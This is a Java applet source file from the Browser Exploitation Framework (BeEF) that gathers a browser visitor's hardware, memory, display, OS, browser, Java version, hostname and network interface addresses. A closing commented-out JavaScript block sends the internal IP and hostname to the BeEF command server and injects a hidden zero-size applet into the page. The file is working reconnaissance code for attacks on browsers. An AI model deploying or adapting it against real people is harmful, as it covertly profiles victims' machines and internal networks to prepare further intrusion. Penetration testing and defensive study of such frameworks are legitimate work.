Files
beef/modules/host/get_system_info_java/getSystemInfo.java
2020-01-01 18:47:08 -08:00

161 lines
6.9 KiB
Java

/*
* Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
* Browser Exploitation Framework (BeEF) - http://beefproject.com
* See the file 'doc/COPYING' for copying permission
*/
import java.applet.*;
import java.awt.*;
import java.net.*;
import java.util.*;
public class getSystemInfo extends Applet {
public getSystemInfo() {
super();
return;
}
public static String getInfo() {
String result = "";
// -- Processor -- //
try {
// System.out.println("Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors()));
result += "Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors())+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering processor info: "+exception;
result += "Exception while gathering processor info\n";
}
// -- Memory -- //
try {
long maximumMemory = Runtime.getRuntime().maxMemory();
// System.out.println("Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory));
result += "Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory)+"\n";
// System.out.println("Free memory (bytes): " + Runtime.getRuntime().freeMemory());
result += "Free memory (bytes): " + Runtime.getRuntime().freeMemory()+"\n";
// System.out.println("Total memory (bytes): " + Runtime.getRuntime().totalMemory());
result += "Total memory (bytes): " + Runtime.getRuntime().totalMemory()+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering memory info: "+exception;
result += "Exception while gathering memory info\n";
}
// -- Displays -- //
try {
GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();
// System.out.println("Default Screen: "+ge.getDefaultScreenDevice().getIDstring());
result += "Default Screen: "+ge.getDefaultScreenDevice().getIDstring()+"\n";
GraphicsDevice[] gs = ge.getScreenDevices();
for (int i=0; i<gs.length; i++) {
DisplayMode dm = gs[i].getDisplayMode();
// System.out.println(gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz");
result += gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz"+"\n";
}
}
catch (Exception exception) {
//result += "Exception while gathering display info: "+exception;
result += "Exception while gathering display info\n";
}
// -- OS -- //
try {
// System.out.println("OS Name: "+System.getProperty("os.name"));
result += "OS Name: "+System.getProperty("os.name")+"\n";
// System.out.println("OS Version: "+System.getProperty("os.version"));
result += "OS Version: "+System.getProperty("os.version")+"\n";
// System.out.println("OS Architecture: "+System.getProperty("os.arch"));
result += "OS Architecture: "+System.getProperty("os.arch")+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering OS info: "+exception;
result += "Exception while gathering OS info\n";
}
// -- Browser -- //
try {
// System.out.println("Browser Name: "+System.getProperty("browser"));
result += "Browser Name: "+System.getProperty("browser")+"\n";
// System.out.println("Browser Version: "+System.getProperty("browser.version"));
result += "Browser Version: "+System.getProperty("browser.version")+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering browser info: "+exception;
result += "Exception while gathering browser info\n";
}
// -- Java -- //
try {
// System.out.println("Java Vendor: "+System.getProperty("java.vendor"));
result += "Java Vendor: "+System.getProperty("java.vendor")+"\n";
// System.out.println("Java Version: "+System.getProperty("java.version"));
result += "Java Version: "+System.getProperty("java.version")+"\n";
// System.out.println("Java Specification Version: "+System.getProperty("java.specification.version"));
result += "Java Specification Version: "+System.getProperty("java.specification.version")+"\n";
// System.out.println("Java VM Version: "+System.getProperty("java.vm.version"));
result += "Java VM Version: "+System.getProperty("java.vm.version")+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering java info: "+exception;
result += "Exception while gathering java info\n";
}
// -- Network -- //
try {
// System.out.println("Host Name: " + InetAddress.getLocalHost().getHostName());
result += "Host Name: " + java.net.InetAddress.getLocalHost().getHostName()+"\n";
// System.out.println("Host Address: " + InetAddress.getLocalHost().getHostAddress());
result += "Host Address: " + java.net.InetAddress.getLocalHost().getHostAddress()+"\n";
// System.out.println("Network Interfaces:");
result += "Network Interfaces (interface, name, IP):\n";
Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
while (networkInterfaces.hasMoreElements()) {
NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
result += networkInterface.getName() + ", ";
result += networkInterface.getDisplayName()+ ", ";
Enumeration inetAddresses = (networkInterface.getInetAddresses());
if(inetAddresses.hasMoreElements()){
while (inetAddresses.hasMoreElements()) {
InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();
result +=inetAddress.getHostAddress() + "\n";
}
}else{
result += "\n"; // in case we can't retrieve the address of some network interfaces
}
}
}
catch (Exception exception) {
//result += "Exception while gathering network info: "+exception;
result += "Exception while gathering network info\n";
}
return result;
}
}
/*
if (beef.browser.isFF()) {
var internal_ip = beef.net.local.getLocalAddress();
var internal_hostname = beef.net.local.getLocalHostname();
if(internal_ip && internal_hostname) {
beef.net.send('<%= @command_url %>', <%= @command_id %>,
'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
}
} else {
//Trying to insert the Beeffeine applet
content = "<APPLET code='Beeffeine' codebase='"+beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";
$j('body').append(content);
internal_counter = 0;
//We have to kick off a loop now, because the user has to accept the running of the applet perhaps
*/